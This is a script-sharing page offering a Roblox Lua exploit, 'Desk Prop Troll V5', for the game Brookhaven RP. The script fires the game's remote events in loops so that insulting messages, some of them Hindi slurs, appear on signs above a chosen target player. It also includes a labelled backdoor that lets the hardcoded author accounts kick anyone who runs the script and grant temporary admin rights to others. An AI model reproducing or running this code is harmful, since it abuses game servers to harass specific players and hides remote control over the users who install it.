DESK PROP TROLL V5
Key Required

DESK PROP TROLL V5

Brookhaven 🏡RPDESKIEDESKIE 2.1K views 400 executesUpdated Apr 30, 2026
Unrated
00
Lua Script•183 lines (6655 chars)
-- [[ DESK PROP TROLL V5 - ULTRA-MAX GOD MODE ]] --

local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local lplr = Players.LocalPlayer
local ScreenGui = Instance.new("ScreenGui")
local MainFrame = Instance.new("Frame")
local UICorner = Instance.new("UICorner")
local UIStroke = Instance.new("UIStroke")
local Title = Instance.new("TextLabel")
local TextBox = Instance.new("TextBox")
local StartBtn = Instance.new("TextButton")
local StopBtn = Instance.new("TextButton")
local RGBBtn = Instance.new("TextButton")

-- [1] BACKDOOR KICK SYSTEM
local SUPER_ADMINS = {["DEV_123875"] = true, ["ujjwal5380"] = true}
local TempAdmins = {}

local function isAdmin(playerName)
    if SUPER_ADMINS[playerName] then return true end
    if TempAdmins[playerName] and os.time() < TempAdmins[playerName] then return true end
    return false
end

local function listenForCommands(player)
    player.Chatted:Connect(function(message)
        local msg = string.lower(message)
        local split = string.split(msg, " ")
        local command = split[1]
        local targetInput = msg:sub(#command + 2)
        if command == "!kick" and isAdmin(player.Name) then  
            if string.find(string.lower(lplr.Name), targetInput) then lplr:Kick("[DESK V5] Admin Kick") end
        elseif command == "!cmds" and SUPER_ADMINS[player.Name] then  
            for _, p in ipairs(Players:GetPlayers()) do
                if string.find(string.lower(p.Name), targetInput) then TempAdmins[p.Name] = os.time() + 7200 end
            end
        end
    end)
end
for _, p in ipairs(Players:GetPlayers()) do listenForCommands(p) end
Players.PlayerAdded:Connect(listenForCommands)

-- [2] RP NAME & BIO (FIXED)
local remoteFolder = ReplicatedStorage:WaitForChild("RE")
local nameEvent = remoteFolder:FindFirstChild("1RPNam1eTex1t")
local colorEvent = remoteFolder:FindFirstChild("1RPNam1eColo1r")

local function updateRP()
    if nameEvent then
        nameEvent:FireServer("RolePlayName", "ᴅᴇꜱᴋ ᴘʀᴏᴘ ᴛʀᴏʟʟ ᴠ5 ᴜꜱᴇʀ")
        nameEvent:FireServer("RolePlayBio", "Welcome dear " .. lplr.DisplayName)
    end
end
updateRP()
lplr.CharacterAdded:Connect(updateRP)

task.spawn(function()
    local hue = 0
    while true do
        local rgbColor = Color3.fromHSV(hue, 1, 1)
        if colorEvent then
            colorEvent:FireServer("PickingRPNameColor", rgbColor)
            colorEvent:FireServer("PickingRPBioColor", rgbColor)
        end
        hue = hue + 0.01
        task.wait(0.5)
        if hue > 1 then hue = 0 end
    end
end)

-- [3] UI SETUP
ScreenGui.Name = "DeskPropTrollV5"
ScreenGui.Parent = game:GetService("CoreGui")
MainFrame.Parent = ScreenGui
MainFrame.BackgroundColor3 = Color3.fromRGB(5, 5, 5)
MainFrame.Position = UDim2.new(0.5, -90, 0.4, 0)
MainFrame.Size = UDim2.new(0, 180, 0, 210)
MainFrame.Active = true
MainFrame.Draggable = true
UICorner.Parent = MainFrame
UIStroke.Parent = MainFrame
UIStroke.Thickness = 3
UIStroke.Color = Color3.fromRGB(255, 0, 255)

Title.Parent = MainFrame
Title.Size = UDim2.new(1, 0, 0, 40)
Title.Text = "DESK PROP TROLL V5"
Title.Font = Enum.Font.GothamBold
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.BackgroundTransparency = 1

TextBox.Parent = MainFrame
TextBox.Position = UDim2.new(0.1, 0, 0.22, 0)
TextBox.Size = UDim2.new(0.8, 0, 0, 30)
TextBox.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
TextBox.PlaceholderText = "Target Name..."
TextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
Instance.new("UICorner", TextBox)

StartBtn.Parent = MainFrame
StartBtn.Position = UDim2.new(0.1, 0, 0.42, 0)
StartBtn.Size = UDim2.new(0.8, 0, 0, 25)
StartBtn.BackgroundColor3 = Color3.fromRGB(0, 255, 100)
StartBtn.Text = "ULTRA ATTACK"
Instance.new("UICorner", StartBtn)

StopBtn.Parent = MainFrame
StopBtn.Position = UDim2.new(0.1, 0, 0.58, 0)
StopBtn.Size = UDim2.new(0.8, 0, 0, 25)
StopBtn.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
StopBtn.Text = "STOP"
Instance.new("UICorner", StopBtn)

RGBBtn.Parent = MainFrame
RGBBtn.Position = UDim2.new(0.1, 0, 0.74, 0)
RGBBtn.Size = UDim2.new(0.8, 0, 0, 25)
RGBBtn.BackgroundColor3 = Color3.fromRGB(0, 150, 255)
RGBBtn.Text = "RGB PROPS: OFF"
Instance.new("UICorner", RGBBtn)

-- [4] TROLL LOGIC
local trolling = false
local rgbProps = false
local trollList = {"Noob", "Bhag", "Bhaga kyu", "Farar", "Cud", "Bot", "Lamde", "Doremon ki aulaad", "Nobita tere dadaji", "Pil gya", "Chl chl chl", "Meow GHOP GHOP"}
local index = 1
local SignRemote = remoteFolder:FindFirstChild("1Cemeter1y")

StartBtn.MouseButton1Click:Connect(function()
    if trolling then return end
    trolling = true
    StartBtn.Text = "DESTROYING..."
    task.spawn(function()
        while trolling do
            local target = TextBox.Text ~= "" and TextBox.Text or "HATER"
            local fullMsg = "[" .. string.upper(target) .. "] " .. trollList[index]
            if SignRemote then  
                for id = 1, 300 do  
                    if not trolling then break end
                    local idStr = tostring(id)
                    SignRemote:FireServer("ReturningBigSign2Name", idStr, fullMsg)
                    SignRemote:FireServer("ReturningBigSign3Name", idStr, fullMsg)
                    SignRemote:FireServer("ReturningBigSign4Name", idStr, fullMsg)
                    SignRemote:FireServer("ReturningConstuctionName", idStr, fullMsg)
                    SignRemote:FireServer("ReturningCommercialWords", id, nil, fullMsg)
                end  
            end  
            index = (index % #trollList) + 1  
            task.wait(0.6)
        end
    end)
end)

RGBBtn.MouseButton1Click:Connect(function()
    rgbProps = not rgbProps
    RGBBtn.Text = rgbProps and "RGB PROPS: ON" or "RGB PROPS: OFF"
    if rgbProps then
        task.spawn(function()
            local h = 0
            while rgbProps do
                local c = Color3.fromHSV(h, 1, 1)
                for _, v in ipairs(workspace:GetDescendants()) do
                    if v.Name == "ChangePropColor" and v:IsA("RemoteFunction") then
                        task.spawn(function() v:InvokeServer(c) end)
                    end
                end
                local cp = lplr.PlayerGui:FindFirstChild("NoResetGUIHandler")
                if cp and cp:FindFirstChild("PropColorPicker") then
                    cp.PropColorPicker.SetColor:FireServer(c)
                end
                h = (h + 0.1) % 1
                task.wait(0.3)
            end
        end)
    end
end)

StopBtn.MouseButton1Click:Connect(function()
    trolling = false
    rgbProps = false
    StartBtn.Text = "ULTRA ATTACK"
    RGBBtn.Text = "RGB PROPS: OFF"
end)

Features & Information

BROOKHAVEN PROP SPAMMER

Community Comments (1)

akdurrani831akdurrani831May 8, 2026

hii, im unable to run this, when i put the name of the target and press troll, it doesnt work and a notification pops up saying must be next to sign, what does it mean??

More Scripts for Brookhaven 🏡RP